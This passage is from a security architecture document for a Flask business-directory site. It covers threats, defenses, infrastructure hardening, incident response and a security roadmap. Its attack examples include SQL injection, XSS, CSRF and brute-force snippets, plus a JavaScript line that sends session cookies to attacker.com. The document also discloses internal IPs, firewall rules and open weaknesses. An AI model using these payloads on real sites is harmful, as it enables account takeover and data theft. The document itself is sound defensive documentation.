**PostgreSQL (10.22.68.249:5432):**
- **Binding:** Localhost only (127.0.0.1)
- **Authentication:** Password-based (pg_hba.conf)
- **Encryption:** SSL/TLS for connections (planned)
**Attack Vectors:**
- SQL injection: **Mitigated** (SQLAlchemy ORM)
- Unauthorized access: **Mitigated** (localhost binding, password auth)
- Data breach: **Partially mitigated** (no database encryption at rest)
**Vulnerabilities:**
- ❌ No database encryption at rest
- ❌ No database activity auditing
- ❌ No automated backup verification
#### 5.2.5 API Attack Surface (External APIs)
**Outbound API Calls:**
- Google Gemini AI, PageSpeed Insights, Places API
- Microsoft Graph API
- Brave Search API
- KRS Open API
**Attack Vectors:**
- API key theft: **Mitigated** (.env files, HTTPS only)
- Man-in-the-middle: **Mitigated** (HTTPS/TLS 1.2+)
- API quota abuse: **Mitigated** (rate limiting, cost tracking)
**Vulnerabilities:**
- ❌ API keys stored in plaintext (.env files)
- ❌ No API key rotation policy
- ❌ No secrets vault (e.g., HashiCorp Vault)
### 5.3 Common Attack Scenarios
#### 5.3.1 SQL Injection Attack
**Attack:**
```python
# Attacker input: email = "admin' OR '1'='1"
# UNSAFE query (NOT USED in our app):
# query = f"SELECT * FROM users WHERE email = '{email}'"
# Result: Returns all users (authentication bypass)
```
**Defense:**
```python
# ✅ SAFE: SQLAlchemy parameterized query
user = db.query(User).filter(User.email == email).first()
# SQLAlchemy escapes special characters automatically
```
**Status:** ✅ Mitigated (no raw SQL concatenation)
#### 5.3.2 XSS Attack
**Attack:**
```html
<!-- Attacker input: forum post = "<script>alert(document.cookie)</script>" -->
<!-- UNSAFE rendering (NOT USED in our app): -->
<!-- {{ user_post }} (unescaped) -->
<!-- Result: Executes JavaScript, steals cookies -->
```
**Defense:**
```python
# Input sanitization (before storage)
sanitized_post = sanitize_input(user_post) # Strips <script> tags
# Jinja2 auto-escaping (at rendering)
{{ user_post }} # Automatically escapes HTML entities
```
**Status:** ✅ Mitigated (sanitization + auto-escaping)
#### 5.3.3 CSRF Attack
**Attack:**
```html
<!-- Attacker's malicious website -->
<form action="https://nordabiznes.pl/admin/users/5/delete" method="POST">
<input type="submit" value="Click for prize!">
</form>
<!-- When admin clicks, their session cookie is sent, deleting user #5 -->
```
**Defense:**
```python
# Flask-WTF CSRF protection (automatic)
# All POST requests require valid CSRF token
@app.route('/admin/users/<id>/delete', methods=['POST'])
@login_required
def delete_user(id):
# CSRF token is validated before this code runs
if not current_user.is_admin:
abort(403)
# Delete user logic
pass
```
**Status:** ✅ Mitigated (Flask-WTF CSRF tokens)
#### 5.3.4 Brute Force Attack
**Attack:**
```python
# Attacker script: Try 10,000 passwords for admin@nordabiznes.pl
for password in password_list:
response = requests.post('https://nordabiznes.pl/login', data={
'email': 'admin@nordabiznes.pl',
'password': password
})
```
**Defense:**
```python
# Rate limiting: 5 login attempts per hour
@app.route('/login', methods=['POST'])
@limiter.limit("5 per hour")
def login():
# Login logic
pass
```
**Status:** ✅ Mitigated (rate limiting)
**Additional Defenses (Future):**
- ❌ Account lockout after N failed attempts
- ❌ CAPTCHA on login form
- ❌ 2FA for admin accounts
#### 5.3.5 Session Hijacking
**Attack:**
```javascript
// Attacker's XSS payload (if XSS exists)
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;
```
**Defense:**
```python
# Session cookie security flags
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access to cookies
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
```
**Status:** ✅ Mitigated (secure cookies + HTTPS)
---
## 6. Data Security
### 6.1 Data Classification
| Data Category | Sensitivity | Storage | Protection |
|---------------|-------------|---------|------------|
| **Public Company Data** | Public | PostgreSQL | None (publicly accessible) |
| **User Accounts** | Confidential | PostgreSQL | Password hashing, HTTPS |
| **Password Hashes** | Secret | PostgreSQL | PBKDF2:SHA256 (salted) |
| **Session Cookies** | Secret | Browser + Server | Encrypted, HttpOnly, Secure |
| **API Keys** | Secret | .env files | File permissions (600), HTTPS |
| **Email Addresses** | PII | PostgreSQL | HTTPS, access control |
| **Chat Messages** | Confidential | PostgreSQL | HTTPS, access control |
| **Forum Posts** | Public | PostgreSQL | Moderation |
| **Private Messages** | Confidential | PostgreSQL | HTTPS, sender/receiver validation |
| **Audit Reports** | Public | PostgreSQL | None (publicly accessible) |
| **Admin Logs** | Confidential | PostgreSQL | Admin-only access |
### 6.2 Data Encryption
**Encryption in Transit:**
- ✅ HTTPS/TLS 1.2+ for all external communication
- ✅ Let's Encrypt certificates (auto-renewal)
- ✅ HSTS enforcement (max-age=31536000)
- ❌ Internal communication (NPM → Flask) is HTTP (same network)
**Encryption at Rest:**
- ❌ PostgreSQL database is NOT encrypted at rest
- ❌ .env files are NOT encrypted (plaintext secrets)
- ❌ Session cookies are encrypted (Flask built-in)
**Future Improvements:**
- ⚠️ Enable PostgreSQL transparent data encryption (TDE)
- ⚠️ Use secrets vault (HashiCorp Vault, AWS Secrets Manager)
- ⚠️ Encrypt backups before storing
### 6.3 Data Retention & Deletion
**Retention Policies:**
- **User accounts:** Indefinite (until user requests deletion)
- **Chat messages:** Indefinite
- **Forum posts:** Indefinite (with soft delete)
- **Private messages:** Indefinite (until sender/receiver deletes)
- **Audit reports:** 90 days (automatic cleanup via cron job - planned)
- **Session cookies:** 7 days (automatic expiry)
- **Verification tokens:** 24 hours (email verification)
- **Password reset tokens:** 1 hour
**Data Deletion:**
- ❌ No GDPR "right to be forgotten" implementation
- ❌ No cascade deletion policy (orphaned records)
- ❌ No audit log retention policy
**Future Improvements:**
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add cascade deletion for user accounts
- ⚠️ Create audit log retention policy (keep 1 year, then archive)
### 6.4 Sensitive Data Handling
**PII (Personally Identifiable Information):**
- Email addresses (users table)
- Names (users table)
- Phone numbers (users table, company_contacts table)
- Company NIP (companies table)
**Handling:**
- ✅ HTTPS for all PII transmission
- ✅ Access control (authenticated users only)
- ❌ No PII encryption at rest
- ❌ No PII masking in logs
**Logging:**
- ✅ Passwords are NEVER logged
- ✅ API keys are NEVER logged
- ⚠️ Email addresses may appear in logs (sanitization needed)
---
## 7. API Security
### 7.1 External API Integrations
**API Security Matrix:**
| API | Authentication | Rate Limit | Cost | Security Controls |
|-----|----------------|------------|------|-------------------|
| **Google Gemini AI** | API Key | 1,500 req/day (free) | $0 (free tier) | HTTPS, key in .env, cost tracking |
| **Google PageSpeed Insights** | API Key | 25,000 req/day (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| **Google Places API** | API Key | Varies | Pay-per-use | HTTPS, key in .env, cost tracking |
| **Microsoft Graph API** | OAuth 2.0 | Varies | $0 (Exchange Online included) | HTTPS, client secret in .env, token refresh |
| **Brave Search API** | API Key | 2,000 req/month (free) | $0 (free tier) | HTTPS, key in .env, quota tracking |
| **KRS Open API** | None (public) | None | $0 | HTTPS only |
### 7.2 API Key Management
**Storage:**
- **Location:** `.env` file
- **Permissions:** 600 (owner read/write only)
- **Owner:** www-data (Flask app user)
**Best Practices:**
- ✅ API keys in .env (not hardcoded)
- ✅ .env in .gitignore (never committed)
- ✅ HTTPS for all API calls
- ❌ No API key rotation policy
- ❌ No secrets vault integration
**API Key Rotation:**
- Manual process (no automation)
- No versioning (immediate switch)
- Downtime risk (if key is rotated without updating .env)
**Future Improvements:**
- ⚠️ Implement secrets vault (HashiCorp Vault)
- ⚠️ Add API key rotation workflow
- ⚠️ Use short-lived API tokens (where supported)
### 7.3 API Rate Limiting & Cost Control
**Client-Side Rate Limiting:**
```python
# Example: Gemini API cost tracking
@limiter.limit("30 per minute")
@app.route('/api/chat/<id>/message', methods=['POST'])
@login_required
def send_chat_message(id):
# ... generate AI response ...
# Track API cost in database
cost_log = AIAPICostLog(
api_name='gemini',
model_name='gemini-3-flash-preview',
input_tokens=len(prompt),
output_tokens=len(response),
cost_usd=0.0, # Free tier
endpoint='/api/chat'
)
db.add(cost_log)
db.commit()
```
**Rate Limiting Strategy:**
- **Client-side:** Flask-Limiter (prevent abuse)
- **Server-side:** API provider rate limits (enforced by provider)
**Cost Monitoring:**
- ✅ Database logging (ai_api_costs table)
- ✅ Admin dashboard (`/admin/chat-analytics`)
- ❌ No alerting on cost overruns
- ❌ No automatic shutdown on quota exceeded
**Free Tier Monitoring:**
- Gemini: 1,500 requests/day (current usage: ~50/day)
- PageSpeed: 25,000 requests/day (current usage: ~10/day)
- Brave: 2,000 requests/month (current usage: ~50/month)
### 7.4 OAuth 2.0 Security (Microsoft Graph)
**Authentication Flow:**
1. Application obtains client credentials (CLIENT_ID, CLIENT_SECRET)
2. Application requests access token from Microsoft
3. Access token used to send emails via Graph API
4. Token expires after 1 hour (automatic refresh)
**Security Controls:**
- ✅ Client secret stored in .env
- ✅ HTTPS for all OAuth requests
- ✅ Access token stored in memory (not database)
- ✅ Token expiry enforcement (1 hour)
- ❌ No token revocation on logout
**Permissions Granted:**
- `Mail.Send` (application permission, not delegated)
- Allows sending email as noreply@nordabiznes.pl
- No user impersonation (application-only auth)
---
## 8. Infrastructure Security
### 8.1 Network Security
**Firewall Configuration (Fortigate):**
```
# Inbound rules
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
deny all from ANY to ANY # Default deny
# Outbound rules
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare)
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound
```
**NAT Rules:**
```
# Public IP → DMZ (reverse proxy)
85.237.177.83:443 → 10.22.68.250:443
85.237.177.83:80 → 10.22.68.250:80
```
**Network Segmentation:**
- **DMZ Zone:** 10.22.68.250 (NPM only)
- **Application Zone:** 10.22.68.249 (Flask + PostgreSQL)
- **Internal Services:** 10.22.68.180 (Git server)
**Network Security Best Practices:**
- ✅ Default deny firewall policy
- ✅ Network segmentation (DMZ vs App zone)
- ✅ NAT for public access (no direct Internet to app server)
- ❌ No IDS/IPS (Intrusion Detection/Prevention System)
- ❌ No network traffic monitoring (future improvement)
### 8.2 SSH Access Control
**SSH Configuration:**
- **Port:** 22 (default)
- **Access:** Restricted to ADMIN_NET (firewall rule)
- **Authentication:** SSH key-based (password auth disabled)
- **Users:** maciejpi (primary admin), www-data (app deployment)
**SSH Hardening:**
```bash
# /etc/ssh/sshd_config
PermitRootLogin no # Disable root login
PasswordAuthentication no # Key-based auth only
PubkeyAuthentication yes # Allow SSH keys
X11Forwarding no # Disable X11
AllowUsers maciejpi www-data # Whitelist users
```
**SSH Key Management:**
- ✅ SSH keys stored on admin workstations (not on server)
- ✅ Unique SSH keys per user
- ❌ No SSH key rotation policy
- ❌ No centralized SSH key management
### 8.3 Server Hardening
**Operating System:**
- Ubuntu Server 22.04 LTS (long-term support)
- Automatic security updates enabled
**Installed Services:**
- ✅ Flask/Gunicorn (application server)
- ✅ PostgreSQL (database)
- ✅ Nginx (system default, minimal use)
- ✅ SSH (remote administration)
**Unnecessary Services Disabled:**
- ✅ No FTP server
- ✅ No Telnet
- ✅ No SNMP (if not needed for monitoring)
**File Permissions:**
```bash
# Application directory
/var/www/nordabiznes/ # Owner: www-data, Mode: 755
/var/www/nordabiznes/.env # Owner: www-data, Mode: 600 (secrets)
/var/www/nordabiznes/app.py # Owner: www-data, Mode: 644
# Database directory
/var/lib/postgresql/ # Owner: postgres, Mode: 700
```
**User Separation:**
- **www-data:** Flask application (limited privileges)
- **postgres:** PostgreSQL database (limited privileges)
- **maciejpi:** Admin user (sudo access)
### 8.4 Database Security
**PostgreSQL Configuration:**
```bash
# /etc/postgresql/14/main/postgresql.conf
listen_addresses = 'localhost' # Bind to 127.0.0.1 only
max_connections = 100 # Limit concurrent connections
ssl = on # Enable SSL (planned)
ssl_cert_file = '/path/to/cert.pem' # SSL certificate (planned)
ssl_key_file = '/path/to/key.pem' # SSL private key (planned)
```
**Authentication (pg_hba.conf):**
```bash
# TYPE DATABASE USER ADDRESS METHOD
local all postgres peer
local nordabiz nordabiz_app md5
host nordabiz nordabiz_app 127.0.0.1/32 md5
host all all 0.0.0.0/0 reject # Deny remote
```
**Database Users:**
- **postgres:** Superuser (local admin only)
- **nordabiz_app:** Application user (limited to nordabiz database)
**Database Permissions:**
```sql
-- nordabiz_app user permissions
GRANT CONNECT ON DATABASE nordabiz TO nordabiz_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO nordabiz_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO nordabiz_app;
```
**Database Backups:**
- **Frequency:** Daily (via Proxmox snapshots)
- **Retention:** 7 days (rolling)
- **Encryption:** ❌ Not encrypted
- **Offsite:** ❌ Not implemented
---
## 9. Security Monitoring
### 9.1 Logging
**Application Logs:**
```python
# app.py logging configuration
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/nordabiznes/app.log'),
logging.StreamHandler()
]
)
```
**Log Levels:**
- **INFO:** Normal operations (user login, API calls)
- **WARNING:** Unexpected events (rate limit exceeded, API errors)
- **ERROR:** Application errors (database connection failed, external API timeout)
- **CRITICAL:** System failures (database crash, service unavailable)
**Logged Events:**
- ✅ User authentication (login, logout, failed login)
- ✅ Admin actions (user management, audit scans)
- ✅ API calls (Gemini, PageSpeed, etc.)
- ✅ Database errors
- ❌ CSRF token violations (not logged)
- ❌ Rate limit violations (not logged)
**Log Storage:**
- **Location:** `/var/log/nordabiznes/app.log`
- **Rotation:** Daily (via logrotate)
- **Retention:** 30 days
- **Permissions:** 640 (owner read/write, group read)
### 9.2 Monitoring & Alerting
**Health Checks:**
```python
@app.route('/health')
def health():
"""Health check endpoint for monitoring"""
try:
# Check database connection
db.execute(text("SELECT 1"))
return jsonify({"status": "healthy", "database": "ok"}), 200
except Exception as e:
return jsonify({"status": "unhealthy", "error": str(e)}), 500
```
**Monitoring Tools:**
- ❌ No Zabbix integration (planned)
- ❌ No uptime monitoring (planned)
- ❌ No performance monitoring (APM)
**Alerts:**
- ❌ No alerting on service downtime
- ❌ No alerting on database errors
- ❌ No alerting on API quota exceeded
- ❌ No alerting on security events (failed logins, CSRF violations)
**Future Improvements:**
- ⚠️ Implement Zabbix monitoring (service uptime, resource usage)
- ⚠️ Add alerting on critical errors (email or Slack)
- ⚠️ Implement security event logging (SIEM integration)
### 9.3 Audit Trails
**Database Audit Fields:**
```sql
-- All tables include:
created_at TIMESTAMP DEFAULT NOW() -- Creation timestamp
updated_at TIMESTAMP DEFAULT NOW() -- Last update timestamp
-- User actions include:
created_by INTEGER REFERENCES users(id) -- Creator (forum posts, messages)
moderated_by INTEGER -- Moderator (admin actions)
moderated_at TIMESTAMP -- Moderation timestamp
```
**Auditable Events:**
- ✅ User registration (created_at)
- ✅ User login (last_login)
- ✅ Forum post creation (created_at, author_id)
- ✅ Admin actions (moderated_by, moderated_at)
- ✅ Audit scans (audited_at)
- ❌ Password changes (not logged)
- ❌ Permission changes (not logged)
- ❌ Failed login attempts (not logged)
**Audit Log Retention:**
- ❌ No dedicated audit log table
- ❌ No audit log retention policy
- ❌ No audit log archival
---
## 10. Incident Response
### 10.1 Incident Response Plan
**Incident Categories:**
1. **Security Breach** (unauthorized access, data leak)
2. **Service Outage** (application down, database crash)
3. **Performance Degradation** (slow response, high CPU)
4. **API Abuse** (quota exceeded, cost overrun)
**Response Workflow:**
```mermaid
graph LR
Detect["🔍 Detect<br/>Incident"] --> Assess["📊 Assess<br/>Severity"]
Assess --> Contain["🛡️ Contain<br/>Threat"]
Contain --> Investigate["🔎 Investigate<br/>Root Cause"]
Investigate --> Remediate["🔧 Remediate<br/>Issue"]
Remediate --> Document["📝 Document<br/>Incident"]
Document --> Review["🔄 Post-Mortem<br/>Review"]
style Detect fill:#f59e0b,color:#fff
style Contain fill:#ef4444,color:#fff
style Remediate fill:#10b981,color:#fff
```
### 10.2 Incident Response Procedures
#### 10.2.1 Security Breach
**Detection:**
- Unusual database activity
- Failed login attempts spike
- Unauthorized admin actions
- API key usage anomalies
**Containment:**
```bash
# 1. Disable affected user accounts
sudo -u postgres psql nordabiz -c "UPDATE users SET is_active = FALSE WHERE id = <user_id>;"
# 2. Rotate API keys immediately
# Edit .env file with new keys
vim /var/www/nordabiznes/.env
# 3. Restart application
sudo systemctl restart nordabiznes
# 4. Review access logs
sudo journalctl -u nordabiznes --since "1 hour ago" | grep -i "failed\|error\|unauthorized"
```
**Investigation:**
- Check application logs (`/var/log/nordabiznes/app.log`)
- Check database audit trails (`SELECT * FROM users WHERE updated_at > NOW() - INTERVAL '1 hour'`)
- Check NPM access logs (NPM admin UI)
**Remediation:**
- Reset passwords for compromised accounts
- Review and tighten access controls
- Patch vulnerabilities (if found)
- Notify affected users (if PII exposed)
#### 10.2.2 Service Outage
**Detection:**
- Health check endpoint returns 500
- Users report "site is down"
- NPM shows "502 Bad Gateway"
**Diagnosis:**
```bash
# 1. Check application status
sudo systemctl status nordabiznes
# 2. Check database status
sudo systemctl status postgresql
# 3. Check NPM status (on 10.22.68.250)
ssh maciejpi@10.22.68.250
docker ps | grep npm
# 4. Check network connectivity
ping 10.22.68.249
curl http://10.22.68.249:5000/health
```
**Recovery:**
```bash
# 1. Restart Flask/Gunicorn
sudo systemctl restart nordabiznes
# 2. Restart PostgreSQL (if needed)
sudo systemctl restart postgresql
# 3. Restart NPM (if needed, on 10.22.68.250)
docker restart <npm-container-id>
```
**Post-Recovery:**
- Document incident in `docs/INCIDENT_REPORT_YYYYMMDD.md`
- Review logs for root cause
- Implement preventive measures
### 10.3 Incident History
**Past Incidents:**
1. **2026-01-02: ERR_TOO_MANY_REDIRECTS**
- **Cause:** NPM proxy forwarding to port 80 instead of 5000
- **Impact:** Site inaccessible for 2 hours
- **Resolution:** Changed NPM forward port to 5000
- **Documentation:** [INCIDENT_REPORT_20260102.md](../INCIDENT_REPORT_20260102.md)
**Lessons Learned:**
- Document critical configurations (port mappings) in architecture docs
- Add verification steps after NPM configuration changes
- Implement monitoring to detect redirect loops
---
## 11. Compliance & Best Practices
### 11.1 Security Standards Compliance
**OWASP Top 10 Compliance:**
| OWASP Risk | Status | Mitigation |
|------------|--------|------------|
| **A01: Broken Access Control** | ✅ Mitigated | Flask-Login, admin flag validation |
| **A02: Cryptographic Failures** | ⚠️ Partial | HTTPS (transit), no encryption at rest |
| **A03: Injection** | ✅ Mitigated | SQLAlchemy ORM, input sanitization |
| **A04: Insecure Design** | ⚠️ Partial | Security controls in place, no formal threat model |
| **A05: Security Misconfiguration** | ⚠️ Partial | Secure defaults, but no CSP |
| **A06: Vulnerable Components** | ⚠️ Partial | Dependencies updated, no automated scanning |
| **A07: Identification & Auth Failures** | ✅ Mitigated | Email verification, password complexity, rate limiting |
| **A08: Software & Data Integrity** | ⚠️ Partial | No code signing, no SBOM |
| **A09: Security Logging & Monitoring** | ❌ Not Compliant | Basic logging, no SIEM |
| **A10: Server-Side Request Forgery** | ✅ Mitigated | No user-controlled URLs in backend requests |
### 11.2 GDPR Compliance
**Personal Data Processing:**
- ✅ Privacy policy (should be published)
- ✅ User consent (registration form)
- ❌ Right to access (not implemented)
- ❌ Right to deletion (not implemented)
- ❌ Right to portability (not implemented)
- ❌ Breach notification (no procedure)
**Data Protection:**
- ✅ HTTPS encryption (in transit)
- ❌ Database encryption (at rest)
- ❌ Data minimization (collect only necessary data)
**Future Improvements:**
- ⚠️ Implement GDPR data deletion workflow
- ⚠️ Add privacy policy page
- ⚠️ Add data export functionality
- ⚠️ Implement breach notification procedure
### 11.3 Security Best Practices Checklist
**Application Security:**
- ✅ Input validation and sanitization
- ✅ SQL injection prevention (ORM)
- ✅ XSS prevention (auto-escaping)
- ✅ CSRF protection
- ✅ Password hashing (PBKDF2:SHA256)
- ✅ Secure session management
- ✅ Rate limiting
- ❌ Content Security Policy (CSP)
- ❌ Subresource Integrity (SRI)
**Infrastructure Security:**
- ✅ Firewall (Fortigate)
- ✅ Network segmentation (DMZ, App, Data zones)
- ✅ SSH key-based authentication
- ✅ Principle of least privilege (www-data user)
- ❌ IDS/IPS
- ❌ DDoS protection (beyond Fortigate)
**Operational Security:**
- ✅ Secrets in .env (not hardcoded)
- ✅ HTTPS/TLS 1.2+
- ✅ Automatic security updates
- ❌ Secrets vault (HashiCorp Vault)
- ❌ API key rotation
- ❌ Security scanning (SAST/DAST)
**Monitoring & Response:**
- ✅ Application logging
- ✅ Health check endpoint
- ❌ Security event monitoring
- ❌ Alerting on critical events
- ❌ Incident response plan (documented but not tested)
---
## 12. Security Roadmap
### 12.1 High Priority (Next 3 Months)
1. **Implement Content Security Policy (CSP)**
- Define CSP policy
- Test with report-only mode
- Deploy to production
- **Impact:** Prevent XSS attacks
2. **Add Account Lockout After Failed Login Attempts**
- Implement lockout after 5 failed attempts
- Add admin unlock functionality
- **Impact:** Prevent brute force attacks
3. **Implement Security Event Logging**
- Log failed login attempts
- Log CSRF token violations
- Log rate limit violations
- Log admin actions
- **Impact:** Detect security incidents
4. **Set Up Monitoring & Alerting**
- Integrate with Zabbix
- Add uptime monitoring
- Add email alerts for downtime
- **Impact:** Faster incident response
### 12.2 Medium Priority (3-6 Months)
5. **Implement 2FA for Admin Accounts**
- Add TOTP (Time-Based One-Time Password)
- Require 2FA for all admin users
- **Impact:** Prevent admin account compromise
6. **Add Audit Log Table**
- Create dedicated audit log table
- Log all admin actions
- Implement audit log retention policy
- **Impact:** Compliance, forensics
7. **Implement GDPR Data Deletion Workflow**
- Add "Delete My Account" functionality
- Cascade deletion of user data
- Generate data export (JSON)
- **Impact:** GDPR compliance
8. **Enable PostgreSQL Encryption at Rest**
- Enable transparent data encryption (TDE)
- Encrypt database backups
- **Impact:** Data breach protection
### 12.3 Low Priority (6-12 Months)
9. **Migrate to Secrets Vault**
- Evaluate HashiCorp Vault vs AWS Secrets Manager
- Migrate API keys to vault
- Implement key rotation
- **Impact:** Improved secrets management
10. **Implement Automated Security Scanning**
- Add SAST (Static Application Security Testing)
- Add DAST (Dynamic Application Security Testing)
- Add dependency scanning (Snyk, Dependabot)
- **Impact:** Proactive vulnerability detection
11. **Add Row-Level Security (RLS)**
- Implement ownership checks on all resources
- Prevent IDOR vulnerabilities
- **Impact:** Prevent unauthorized data access
12. **Implement SIEM Integration**
- Evaluate SIEM solutions (Wazuh, Splunk, ELK)
- Forward logs to SIEM
- Create security dashboards
- **Impact:** Advanced threat detection
---
## 13. Related Documentation
### 13.1 Architecture Documents
- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
- [Container Diagram](02-container-diagram.md) - Application security boundaries
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management
- [HTTP Request Flow](flows/06-http-request-flow.md) - Request path and security layers
### 13.2 Code Files
**Authentication & Authorization:**
- `app.py` (lines ~3077-3500) - Authentication routes
- `database.py` (lines ~119-158) - User model
**Security Utilities:**
- `app.py` - `sanitize_input()`, `validate_email()`, `validate_password()`
**Email Service:**
- `email_service.py` - Microsoft Graph email integration
### 13.3 External References
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
- [Flask Security Best Practices](https://flask.palletsprojects.com/en/2.3.x/security/)
- [PostgreSQL Security](https://www.postgresql.org/docs/current/security.html)
---
## 14. Maintenance & Updates
### 14.1 When to Update This Document
Update this document when:
- New security controls are implemented
- Security vulnerabilities are discovered and patched
- Authentication/authorization model changes
- External APIs are added or removed
- Infrastructure security configuration changes
- Compliance requirements change (GDPR, OWASP)
### 14.2 Security Audit Checklist
Periodic security audit (quarterly):
- [ ] Review user permissions and admin accounts
- [ ] Check for unused API keys
- [ ] Review firewall rules
- [ ] Verify SSL/TLS certificates are valid
- [ ] Check for outdated dependencies (`pip list --outdated`)
- [ ] Review application logs for anomalies
- [ ] Test authentication flows (login, registration, password reset)
- [ ] Verify CSRF protection on all forms
- [ ] Check rate limiting effectiveness
- [ ] Review database backup integrity
- [ ] Test incident response procedures
- [ ] Update security roadmap
### 14.3 Security Training
Recommended training for team members:
- OWASP Top 10 awareness
- Secure coding practices
- Incident response procedures
- GDPR compliance basics
- Password policy enforcement
---
**Document End**
*This document is maintained as part of the Norda Biznes Partner architecture documentation. For questions or updates, contact the development team.*